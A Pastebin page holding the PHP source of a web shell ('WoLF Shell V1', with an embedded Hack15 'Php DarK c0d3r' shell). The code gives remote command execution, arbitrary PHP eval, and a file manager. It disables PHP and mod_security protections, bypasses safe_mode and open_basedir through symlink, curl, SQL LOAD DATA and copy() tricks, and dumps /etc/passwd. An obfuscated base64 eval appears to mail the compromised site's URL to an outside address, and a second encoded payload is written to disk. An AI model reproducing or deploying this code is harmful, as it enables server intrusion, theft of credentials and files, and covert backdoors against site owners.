API tools faq
paste
Aissa-WoLF1200

WoLF Shell V1

Aissa-WoLF1200
Feb 26th, 2016
108
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 89.60 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /****************************************\
  3. |* Remote Shell 1.1 facebook.com/AissaWolf1200 *|
  4. |* Developed by facebook.com/AissaWolf1200*|
  5. \****************************************/
  6.  
  7. define( 'DS', DIRECTORY_SEPARATOR );
  8.  
  9. $ini_reconf = array(
  10. 'display_errors' => '0',
  11. 'disable_functions' => '',
  12. 'file_uploads' => 'On',
  13. 'max_execution_time' => '0',
  14. 'memory_limit' => '1024M',
  15. 'open_basedir' => '',
  16. 'safe_mode' => 'Off',
  17. 'sql.safe_mode' => 'Off',
  18. 'upload_max_filesize' => '1024M',
  19. );
  20.  
  21. foreach ($ini_reconf as $key => $value) {
  22. @ini_set($key, $value);
  23. }
  24.  
  25. date_default_timezone_set('Asia/Ho_Chi_Minh');
  26.  
  27. function dectectos() {
  28. $curos = strtoupper(substr(PHP_OS, 0, 3));
  29. return $curos;
  30. }
  31.  
  32. //File download
  33. $fdownload=@$_GET['fdownload'];
  34. if ($fdownload != "" ){
  35. if (file_exists($fdownload)) {
  36. header('Content-Description: File Transfer');
  37. header('Content-Type: application/octet-stream');
  38. header('Content-Disposition: attachment; filename='.basename($fdownload));
  39. header('Content-Transfer-Encoding: binary');
  40. header('Expires: 0');
  41. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  42. header('Pragma: public');
  43. header('Content-Length: ' . filesize($fdownload));
  44. ob_clean();
  45. flush();
  46. readfile($fdownload);
  47. exit;
  48. }
  49. }
  50. //PHP Info
  51. function info()
  52. { ?>
  53. <div align="center" id="phpinfo">
  54. <?php
  55. ob_start () ;
  56. phpinfo () ;
  57. $pinfo = ob_get_contents () ;
  58. ob_end_clean () ;
  59.  
  60. // the name attribute "module_Zend Optimizer" of an anker-tag is not xhtml valide, so replace it with "module_Zend_Optimizer"
  61. echo ( str_replace ( "module_Zend Optimizer", "module_Zend_Optimizer", preg_replace ( '%^.*<body>(.*)</body>.*$%ms', '$1', $pinfo ) ) ) ;
  62. ?>
  63. </div>
  64. <?php
  65. }
  66. $connection="ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07IA0KICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgDQogJGJvZHkgPSAiQWRhIFlhbmcgSW5qZWN0IFxuaHR0cDovLyR3ZWIkaW5qIjsNCiBtYWlsKCJsbEBob3RtYWlsLmZpIiwiSGFzaWwgaHR0cDovLyR3ZWIkaW5qIiwgIiRib2R5Iik7";
  67.  
  68. echo eval(base64_decode($connection));
  69.  
  70. //File Manager
  71. function fileman()
  72. {
  73.  
  74. function getmode($par) {
  75. if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  76. return 'N/A';
  77. } else {
  78. $perms = fileperms($par);
  79. if (($perms & 0xC000) == 0xC000) {
  80. // Socket
  81. $info = 's';
  82. } elseif (($perms & 0xA000) == 0xA000) {
  83. // Symbolic Link
  84. $info = 'l';
  85. } elseif (($perms & 0x8000) == 0x8000) {
  86. // Regular
  87. $info = '-';
  88. } elseif (($perms & 0x6000) == 0x6000) {
  89. // Block special
  90. $info = 'b';
  91. } elseif (($perms & 0x4000) == 0x4000) {
  92. // Directory
  93. $info = 'd';
  94. } elseif (($perms & 0x2000) == 0x2000) {
  95. // Character special
  96. $info = 'c';
  97. } elseif (($perms & 0x1000) == 0x1000) {
  98. // FIFO pipe
  99. $info = 'p';
  100. } else {
  101. // Unknown
  102. $info = 'u';
  103. }
  104. // Owner
  105. $info .= (($perms & 0x0100) ? 'r' : '-');
  106. $info .= (($perms & 0x0080) ? 'w' : '-');
  107. $info .= (($perms & 0x0040) ?
  108. (($perms & 0x0800) ? 's' : 'x' ) :
  109. (($perms & 0x0800) ? 'S' : '-'));
  110. // Group
  111. $info .= (($perms & 0x0020) ? 'r' : '-');
  112. $info .= (($perms & 0x0010) ? 'w' : '-');
  113. $info .= (($perms & 0x0008) ?
  114. (($perms & 0x0400) ? 's' : 'x' ) :
  115. (($perms & 0x0400) ? 'S' : '-'));
  116. // World
  117. $info .= (($perms & 0x0004) ? 'r' : '-');
  118. $info .= (($perms & 0x0002) ? 'w' : '-');
  119. $info .= (($perms & 0x0001) ?
  120. (($perms & 0x0200) ? 't' : 'x' ) :
  121. (($perms & 0x0200) ? 'T' : '-'));
  122.  
  123. return $info;
  124. }
  125. }
  126.  
  127. function getowner($par) {
  128. if(function_exists('posix_getpwuid')) {
  129. $owner = @posix_getpwuid(@fileowner($par));
  130. return $owner['name'];
  131. }
  132. }
  133.  
  134. function getgroup($par) {
  135. if(function_exists('posix_getgrgid')) {
  136. $group = @posix_getgrgid(@filegroup($par));
  137. return $group['name'];
  138. }
  139. }
  140.  
  141. function getsize($par) {
  142. return @round(@filesize($par));
  143. }
  144.  
  145. function byteConvert(&$bytes){
  146. $b = (int)$bytes;
  147. $s = array(' B', 'KB', 'MB', 'GB', 'TB');
  148. if($b < 0){
  149. return "0 ".$s[0];
  150. }
  151. $con = 1024;
  152. $e = (int)(log($b,$con));
  153. return number_format($b/pow($con,$e),2,',','.').' '.$s[$e];
  154. }
  155.  
  156. $dir = realpath($_GET['dir']).DS;
  157. $list = scandir($dir);
  158.  
  159. echo '
  160. <div align="center"><br>
  161. <form action="" method="GET">
  162. <input type="hidden" name="id" value="fm">
  163. <input type="text" name="dir" size="80" value="',$dir,'" class="input">&nbsp;
  164. <input type="submit" class="button" value=" Dir ">
  165. </form>
  166. </div>
  167. <div align="center">
  168. <table border="0" width="80%" cellspacing="1" cellpadding="2">
  169. <tr>
  170. <td width="180"><b><font size="2"> File / Folder Name </font></b></td>
  171. <td width="30" align="center"><font color="#FFFF00" size="2"><b> Owner </b></font></td>
  172. <td width="30" align="center"><font color="#FFFF00" size="2"><b> Group </b></font></td>
  173. <td width="50" align="center"><font color="#FFFFFF" size="2"><b> &nbsp;&nbsp;&nbsp;Size </b></font></td>
  174. <td width="30" align="center"><font color="#008000" size="2"><b> Download </b></font></td>
  175. <td width="30" align="center"><font color="#FF9933" size="2"><b> Edit </b></font></td>
  176. <td width="30" align="center"><font color="#999999" size="2"><b> Chmod </b></font></td>
  177. <td width="30" align="center"><font color="#FF0000" size="2"><b> Delete </b></font></td>
  178. <td width="150" align="center"><font color="#0080FF" size="2"><b> Last Modifed </b></font></td>
  179. </tr>';
  180.  
  181. for($i=0; $i<count($list); $i++) {
  182. if(@is_dir($dir.$list[$i])) {
  183.  
  184. echo '
  185. <tr>
  186. <td><a href="?id=fm&dir=',$dir.$list[$i],'"><font color="#DD8008" size="2">',$list[$i],'</font></a></td>
  187. <td align="center"><font color="#00CCFF" size="2">',getowner($dir.$list[$i]),'</font></td>
  188. <td align="center"><font color="#00CCFF" size="2">',getgroup($dir.$list[$i]),'</font></td>
  189. <td align="center"></td>
  190. <td align="center"></td>
  191. <td align="center"></td>
  192. <td align="center"><a href="?id=fm&fchmod=',$dir.$list[$i],'"><font color="#999999" size="2">',getmode($dir.$list[$i]),'</font></a></td>
  193. <td align="center"><a href="?id=fm&fdelete=',$dir.$list[$i],'"><font color="#FF0000" size="2"> Delete </font></a></td>
  194. <td align="center"><font color="#FF9933" size="2" alt="DD-MM-YY">'.date ("d-m-y H:i P", filemtime($dir.$list[$i])).'</font></td>
  195. </tr>';
  196. }
  197. }
  198.  
  199. for($i=0; $i<count($list); $i++) {
  200. if(@is_file($dir.$list[$i])) {
  201.  
  202. echo '
  203. <tr>
  204. <td><a href="?id=fedit&fedit=',$dir.$list[$i],'"><font color="#FFFFFF" size="2">',$list[$i],'</font></a></td>
  205. <td align="center"><font color="#00CCFF" size="2">',getowner($dir.$list[$i]),'</font></td>
  206. <td align="center"><font color="#00CCFF" size="2">',getgroup($dir.$list[$i]),'</font></td>
  207. <td align="right"><font color="#0080FF" size="2">',byteConvert(getsize($dir.$list[$i])),'</font></td>
  208. <td align="center">';
  209. if (@is_readable($dir.$list[$i])){
  210. echo '<a href="?id=fm&fdownload=',$dir.$list[$i],'"><font size="2" color="#008000"> Download </font></a>';
  211. } else {
  212. echo '<font size="1" color="#FF0000"><b>Unreadable</b></font>';
  213. }
  214. echo '</td>
  215. <td align="center">';
  216. if (@is_readable($dir.$list[$i])){
  217. echo '<a href="?id=fedit&fedit=',$dir.$list[$i],'"><font size="2" color="#FF9933"> Edit </font></a>';
  218. } else {
  219. echo '<font size="1" color="#FF0000"><b>Unreadable</b></font>';
  220. }
  221. echo '</td>
  222. <td align="center"><a href="?id=fm&fchmod=',$dir.$list[$i],'"><font color="#999999" size="2">',getmode($dir.$list[$i]),'</font></a></td>
  223. <td align="center"><a href="?id=fm&fdelete=',$dir.$list[$i],'"><font color="#FF0000" size="2"> Delete </font></a></td>
  224. <td align="center"><font color="#FF9933" size="2" alt="DD-MM-YY">'.date ("d-m-y H:i P", filemtime($dir.$list[$i])).'</font></td>
  225. </tr>';
  226. }
  227. }
  228.  
  229.  
  230. echo '
  231. <tr>
  232. <td valign="top" colspan="8">&nbsp;</td>
  233. </tr>
  234. <tr>
  235. <td valign="top" colspan="8">
  236. <form action="" method="GET">
  237. <table align="left" width="100%">
  238. <tr>
  239. <td width="20%" class="td">File View / Edit:</td>
  240. <td width="80%">
  241. <input name="fedit" type="text" size="50" class="input" />&nbsp;
  242. <input type="hidden" name="id" value="fedit">
  243. <input type="submit" value=" View / Edit " class="button" />
  244. </td>
  245. </tr>
  246. </table>
  247. </form>
  248.  
  249. <form action="" method="GET">
  250. <table align="left" width="100%">
  251. <tr>
  252. <td width="20%" class="td">File Download:</td>
  253. <td width="80%">
  254. <input name="fdownload" type="text" size="50" class="input" />&nbsp;
  255. <input type="submit" value=" Download " class="button" />
  256. </td>
  257. </tr>
  258. </table>
  259. </form>
  260.  
  261. <form method="GET" action="">
  262. <table align="left" width="100%">
  263. <tr>
  264. <td width="20%" class="td">Chmod:</td>
  265. <td width="80%">
  266. <input type="text" name="fchmod" size="50" class="input" />&nbsp;
  267. <input type="text" name="mode" size="3" class="input" />&nbsp;
  268. <input type="submit" value=" Change " class="button" />
  269. </td>
  270. </tr>
  271. </table>
  272. </form>
  273.  
  274. <form enctype="multipart/form-data" action="" method="POST">
  275. <table align="left" width="100%">
  276. <tr>
  277. <td width="20%" class="td">File Upload:</td>
  278. <td width="80%">
  279. <input name="userfile" type="file" size="50" class="file" />&nbsp;
  280. <input type="hidden" name="MAX_FILE_SIZE" value="300000" />
  281. <input type="hidden" name="Fupath" value="',$dir,'" />
  282. <input type="submit" value=" Upload " class="button" />
  283. </td>
  284. </tr>
  285. </table>
  286. </form>
  287.  
  288. </div>
  289. </td>
  290. </tr>
  291. </table>';
  292. }
  293.  
  294. //Default
  295. function def()
  296. {
  297. $id=$_GET['id'];
  298. if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
  299. $euserinfo = @posix_getpwuid(@posix_geteuid());
  300. }
  301. if (function_exists('posix_getgrgid') && function_exists('posix_getegid')) {
  302. $egroupinfo = @posix_getgrgid(@posix_getegid());
  303. }
  304. echo '
  305. <p align="center" style="padding-left:20px;">
  306. <img border="0" src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTZLWyAy1FTcoU3h2to5raJBwlahdLtDH7pFnw2qk6Jb6Zd0XANsQ"></a><br>
  307. </p>
  308. <p align="left" style="padding-left:20px;">
  309. <font color="#DD8008" size="2"><b>OS : ',php_uname(),'
  310. <br>
  311. SERVER IP : <font color="#FF0000">',gethostbyname($_SERVER['SERVER_NAME']),'</font><br>
  312. SERVER NAME : <font color="#FF0000">',$_SERVER['SERVER_NAME'],'</font><br>
  313. SERVER SOFTWARE : <font color="#FF0000">',$_SERVER['SERVER_SOFTWARE'],'</font><br>
  314. SERVER ADMIN : <font color="#FF0000">',$_SERVER['SERVER_ADMIN'],'</font><br>
  315. PHP VERSiON : <font color="#FF0000">',$ephpv = @phpversion(),'</font><br>
  316. uid = ',$euserinfo['uid'],' ( ',$euserinfo['name'],' ) &nbsp;&nbsp;&nbsp;&nbsp; gid = ',$egroupinfo['gid'],' ( ',$egroupinfo['name'],' )<br>
  317. </b></font></p>';
  318. }
  319.  
  320.  
  321. //Web Command
  322. function wcom ()
  323. {
  324. $cmd=$_POST['cmd'];
  325. $result=ex("$cmd");
  326. echo '<center><br><h3> Go Command </h3></center>
  327. <center>
  328. <form method="POST" action="">
  329. <input type="hidden" name="id" value="cmd" />
  330. <input type="text" size="85" name="cmd" value="',$cmd,'" class="input" />&nbsp;
  331. <input type="submit" class="button" value=" Go " />
  332. </form><br>
  333. <textarea rows=20 cols=85 class="textarea">',$result,'</textarea><br><br>';
  334. }
  335.  
  336. //PHP Eval
  337. function eeval()
  338. {
  339. $code=stripslashes($_POST['code']);
  340. echo '<center><br><h3> PHP Code Evaluating (etc/passwd) </h3></center>
  341. <center>
  342. <form method="POST" action="">
  343. <input type="hidden" name="id" value="eval">
  344. <textarea name ="code" rows="10" cols="85" class="textarea">',$code,'mkDIR("file:");
  345. chdir("file:");
  346. mkDIR("etc");
  347. chdir("etc");
  348. mkDIR("passwd");
  349. chdir("..");
  350. chdir("..");
  351.  
  352. $ch = curl_init();
  353.  
  354. curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd");
  355. curl_setopt($ch, CURLOPT_HEADER, 0);
  356.  
  357. curl_exec($ch);
  358.  
  359. curl_close($ch);</textarea><br><br>
  360. <input type="submit" value=" Evaluate PHP Code" class="button"><hr>
  361. </form>
  362. <textarea rows="10" cols="85" class="textarea">';
  363. eval($code);
  364. echo '</textarea><br><br>';
  365. }
  366.  
  367.  
  368. //Php 5.2.9 Bypass
  369. function eizo()
  370. {
  371.  
  372. $kokdosya = "Bypass5.2.9.php";
  373.  
  374. $dosya_adi = "$kokdosya";
  375. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;ilamadi!");
  376. $metin = "<? eval(gzinflate(base64_decode('
  377. hVRNb5tAED0Hif8wXaECcQJu1BwaA1GU2E0lN7Zs
  378. txfLQms8FijAInbt2Kny3zuA4zhW1F5gmI83b97O
  379. ch1417rmnupaum0/xvw8w2yOJYglrPN5yZN8uhBq
  380. lqPStVNX13QtWVqfMCvU1jLC793J1FwmKZoz2waj
  381. svx33o6uYSoRDouGg/FHVYfuTtUIo1iA6Q1H3cAr
  382. guH9EC6dC+cbSL7EMBMLhM8gCszDOZe4SEqYbwsu
  383. pTcvg//PQojeUpQZ5DxDn1UmAx6pROQ+i5UqrlzX
  384. dIxw3B397o6m7H4yGYb3RJHNnFhlqSwwSngaxbyU
  385. 1lva+Hb0YzgJH3Tt5meXzewDBBqA7H6PAEwGGapY
  386. LHxWCKlY4CV5sVKgtgVxUbhR7JUXycFAJs9kX7YZ
  387. rHm6ItP8gEOVahP0ezC5mmfJHo4yF1JtU3zeQ41j
  388. 8UQ1bqVAYNbC65qR4hpTv915PfAKPMRNIpW0alJX
  389. zLZ17SR7JOH3HkqP4iNHA9Vq1VDGngD4gJsipVO0
  390. mMvOmi2w6yRiYhmcmhvci8QqV9ZbmU3OVsv+Q60P
  391. VmofnhqcVqqKnhyzPk6CKmnH/yjWqULNIB9FDiY6
  392. edG1l4rzU0ytrCZyfm7DTgbHYc1MRhTTxNGqTMMk
  393. T5TVeOtviUoUNGMUn8Htr1F/QPtDrzNoRKwfrusy
  394. 50Ci3dXoDR4mcDvoD0Y+G3XvWABetTy8RA6leJI+
  395. +0o7E4mUrC8XbbY7X5Kmd9Mfd32/JoAbjKr29YEu
  396. ErTMYCzKcus4DvSoJfxj22AhUOYKGpFBlLAVK3KS
  397. K+ZrhALLLJGSbpV0zEPu4LmvVIm1W02yY1dzilIh
  398. sSa128hr+k/9BQ==
  399. '))); ?>";
  400.  
  401. fwrite ( $dosya , $metin ) ;
  402. fclose ($dosya);
  403.  
  404. }
  405.  
  406.  
  407. //Safe mode Off
  408. function epriv8()
  409. {
  410.  
  411. $kokdosya = ".htaccess";
  412.  
  413. $dosya_adi = "$kokdosya";
  414. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;ilamadi!");
  415. $metin = "<IfModule mod_security.c>
  416. SecFilterEngine Off
  417. SecFilterScanPOST Off
  418. </IfModule>";
  419. fwrite ( $dosya , $metin ) ;
  420. fclose ($dosya);
  421.  
  422. $kokdosya = "php.ini";
  423.  
  424. $dosya_adi = "$kokdosya";
  425. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;ilamadi!");
  426. $metin = "safe_mode = OFF
  427. disable_functions = NONE";
  428. fwrite ( $dosya , $metin ) ;
  429. fclose ($dosya);
  430.  
  431.  
  432. }
  433.  
  434.  
  435. //Openbasedir Bypass
  436. function eobypass()
  437. {
  438.  
  439. ?>
  440. <?
  441. /*###########################################
  442. NameScrip : Php hacker v1.0
  443. Private For Hack15 Members ..
  444. Private For Hack15 Members ..
  445. Coder By Aissa WoLF1200
  446. Mails : aissawolf1200@gmail.com
  447. facebook.com/AissaWolf1200
  448. ###########################################*/
  449. error_reporting(0);
  450. set_magic_quotes_runtime(0);
  451. if(version_compare(phpversion(), '4.1.0') == -1)
  452. {$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
  453. $_SERVER = &$HTTP_SERVER_VARS;
  454. }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
  455. if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
  456. elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
  457. else{return $requ."?".$link."=".$val;}}
  458. function delm($delmtxt){print"<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";print"<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";}
  459. function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
  460. $nscmd=htmlspecialchars($scmd);print $nscmd;}
  461. elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
  462. $ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
  463. elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
  464. while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
  465. print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
  466. ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
  467. ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
  468. print htmlspecialchars($pret);}}
  469. function input($type,$name,$value,$size)
  470. {if (empty($value)){print "<input type=$type name=$name size=$size>";}
  471. elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
  472. elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
  473. else {print "<input type=$type name=$name value=$value size=$size >";}}
  474. function permcol($path){if (is_writable($path)){print "<font color=#008080>";
  475. callperms($path); print "</font>";}
  476. elseif (!is_readable($path)&&!is_writable($path)){print "<font color=red>";
  477. callperms($path); print "</font>";}
  478. else {print "<font color=white>";callperms($path);}}
  479. if ($dlink=="dwld"){download($_REQUEST['dwld']);}
  480. function download($dwfile) {$size = filesize($dwfile);
  481. @header("Content-Type: application/force-download;name=$dwfile");
  482. @header("Content-Transfer-Encoding: binary");
  483. @header("Content-Length: $size");
  484. @header("Content-Disposition: attachment; filename=$dwfile");
  485. @header("Expires: 0");
  486. @header("Cache-Control: no-cache, must-revalidate");
  487. @header("Pragma: no-cache");
  488. @readfile($dwfile); exit;}
  489. ?>
  490. <html>
  491. <head><title>Hack15Shell</title></head>
  492. <style>
  493. BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: #008080; }
  494. a{color:#dadada;text-decoration:none;font-family:tahoma;font-size:13px}
  495. a:hover{color:#008080}
  496. input{FONT-WEIGHT:normal;background-color: #191919;font-size: 12px; color: #dadada; font-family: Tahoma; border: 1px solid #666666;height:17}
  497. textarea{background-color:#191919;color:#dadada;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #666666;}
  498. div{font-size:12px;font-family:tahoma;font-weight:normal;color:whitesmoke}
  499. select{background-color: #191919; font-size: 12px; color: #dadada; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style>
  500. <body bgcolor=black text=white><font face="sans ms" size=3>
  501. </body>
  502. </html>
  503. <?
  504. $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
  505. $sf="<form method=post>";$ef="</form>";
  506. $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
  507. $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
  508. $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
  509. $sta="<textarea cols=157 rows=23>";$eta="</textarea>";
  510. $sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
  511. ################# Editing By User ########################
  512. ///////////////////////////////
  513. //
  514. $mysql_use = "no"; //"yes" //
  515. $mhost = "localhost"; //
  516. $muser = "root"; //
  517. $mpass = "pass"; //
  518. $mdb = "name"; //
  519. $them = "xxx"; //any site //
  520. $you = "xx"; //your username //
  521. $flib = "hack15.txt"; //
  522. $folder = "hack15.txt"; //
  523. ///////////////////////////////
  524. ################# PhP Design (Start) ########################
  525. delm(": Php DarK c0d3r v1.0 (Shell) :");
  526. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=white size=4>[ Php DarK c0d3r v1.0 ]::[ Owned By Sa-HaCKeR.com ]
  527. </font></b></center>"; print"</td></tr>";print"</table>";print "<br>";
  528. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print "<a href=".inclink('linux', 'greet').">Gr33tz To</a>";
  529. print " - <a href='javascript:history.back()'>Back</a>";
  530. print "</td></tr></table>";
  531. echo "<br>";
  532. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  533. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  534. {
  535. $safemode = true;
  536. $hsafemode = "<font color=\"red\">ON (secure)</font>";
  537. }
  538. else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
  539. echo("Safe-mode: $hsafemode");
  540. print "</td></tr></table>";
  541. echo "<br>";
  542. ################# PhP Hacked ########################
  543. // read greet //
  544. if ($linux=='greet')
  545. {
  546. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  547. echo "GeNiUs HaCkEr & Blood Hacker & Mr.ALJoOoKeR & Dr_Whad_Drb & Saudi Hunter & Saudi Coder & ROMANCY-HACKER & Qatil_Albasik & Caeser & KsA HaCkEr & Hacker Zero & Mr.Shares & Dr.Shares
  548. ";
  549. echo "</textarea>";
  550. }
  551. // read file unzend sorce //
  552. if(empty($_POST['sorce'])){
  553. } else {
  554.  
  555. }
  556. // read file unzend functions //
  557. if(empty($_POST['func'])){
  558. } else {
  559. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  560. $zeen=$_POST['func'];
  561. require("$zeen");
  562. echo "Database : ".$config['Database']['dbname']." <X> ";
  563. echo "UserName : ".$config['MasterServer']['username']." <X> ";
  564. echo "Password : ".$config['MasterServer']['password']." <X> ";
  565. echo "</textarea></p>";
  566. }// read file symlink ( ) //
  567. if(empty($_POST['sym'])){
  568. } else {
  569. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  570. $fp = fopen("hack15.txt","w+");
  571. fwrite($fp,"Php Hacker Was Here");
  572. @unlink($flib);
  573. $sym = "/home/" . $them . "/public_html/" . $k;
  574. $link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
  575. @symlink($sym, $link);
  576. if ($k{0} == "/") {
  577. echo "<script> window.location = '" . $flib . "'</script>";
  578. }else{
  579. echo "<pre><xmp>";
  580. echo readlink($flib) . "\n";
  581. echo "Filesize: " . linkinfo($flib) . "B\n\n";
  582. echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $folder . "/" . $flib);
  583. echo "</textarea>";
  584. }
  585. }
  586.  
  587. // read file plugin ( ) //
  588. if(empty($_POST['plugin'])){
  589. } else {
  590. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  591. for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
  592. $ara = posix_getpwuid($uid);
  593. if (!empty($ara)) {
  594. while (list ($key, $val) = each($ara)){
  595. print "$val:";
  596. }
  597. print "\n";
  598. }
  599. }
  600. echo "</textarea>";
  601. }
  602. // read file id ( ) //
  603. if ($_POST['rid'] ){
  604. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  605. for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
  606. $ara = posix_getpwuid($uid);
  607. if (!empty($ara)) {
  608. while (list ($key, $val) = each($ara)){
  609. print "$val:";
  610. }
  611. print "\n";
  612. }
  613. }
  614. echo "</textarea>";
  615. break;
  616.  
  617. }
  618. // read file imap ( ) //
  619. $string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
  620. if(empty($_POST['rimap'])){
  621. } else {
  622. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  623. $stream = imap_open($string, "", "");
  624. $str = imap_body($stream, 1);
  625. echo "</textarea>";
  626. }
  627. // read file Curl ( ) //
  628. if(empty($_POST['curl'])){
  629. } else {
  630. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  631. $m=$_POST['curl'];
  632. $ch =
  633. curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
  634. curl_exec($ch);
  635. var_dump(curl_exec($ch));
  636. echo "</textarea>";
  637. }
  638.  
  639. // read file SQL ( ) //
  640. if(empty($_POST['ssql'])){
  641. } else {
  642. echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
  643. $file=$_POST['ssql'];
  644.  
  645.  
  646. $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  647. $mysql_files = explode(':', $mysql_files_str);
  648.  
  649. $sql = array (
  650. "USE $mdb",
  651. 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  652. "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  653. . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
  654. . "ESCAPED BY '' "
  655. . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  656.  
  657. "SELECT a FROM $tbl LIMIT 1"
  658. );
  659. mysql_connect ($mhost, $muser, $mpass);
  660.  
  661. foreach ($sql as $statement) {
  662. $q = mysql_query ($statement);
  663.  
  664. if ($q == false) die (
  665. "FAILED: " . $statement . "\n" .
  666. "REASON: " . mysql_error () . "\n"
  667. );
  668.  
  669. if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  670.  
  671. echo htmlspecialchars($r[0]);
  672. mysql_free_result ($q);
  673. }
  674. echo "</textarea>";
  675. }
  676.  
  677.  
  678.  
  679. // read file copy & ini ( ) //
  680. if (isset ($_REQUEST['safefile'])){
  681. $file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
  682. if(empty($_GET['file'])){if(empty($_POST['file'])){
  683. print "<center>[ Please choose a file first to read it using copy() ]</center>";
  684. } else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
  685. $temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
  686. $zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
  687. fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
  688. print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
  689. </CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
  690. ini_restore("safe_mode");ini_restore("open_basedir");
  691. print "<center><pre>".$sta;
  692. if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}print $eta."</pre></center>";}
  693. delm(": Safe mode bypass :");
  694. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  695. print "<tr><td width=50%><div align=left>";
  696. print $st.$c1."<div><b><center>Using copy() function</div>";
  697. print $ec.$c2.$sf."&nbsp;";
  698. input("text","safefile",$nscdir,75);
  699. input("hidden","scdir",$nscdir,0);print " ";
  700. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  701. print "</td><td height=20% width=50%><div align=right>";
  702. print $st.$c1."<div><b><center>Using ini_restore() function</div>";
  703. print $ec.$c2.$sf."&nbsp;";
  704. input("text","inifile",$nscdir,75);
  705. input("hidden","scdir",$nscdir,0);print " ";
  706. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  707. print "</td></tr></table>";
  708. print "<table bgcolor=#2A2A2A style=\"border:2px solid black\" width=100%>";
  709. print "<tr><td width=50%><div align=left>";
  710. print $st.$c1."<div><b><center>Using sql() function</div>";
  711. print $ec.$c2.$sf."&nbsp;";
  712. input("text","ssql",$nscdir,75);
  713. input("hidden","scdir",$nscdir,0);print " ";
  714. input("submit","","Read-F","");print "</center>".$ec.$ef.$et;
  715. print "</td><td height=20% width=50%><div align=right>";
  716. print $st.$c1."<div><b><center>Using Curl() function</div>";
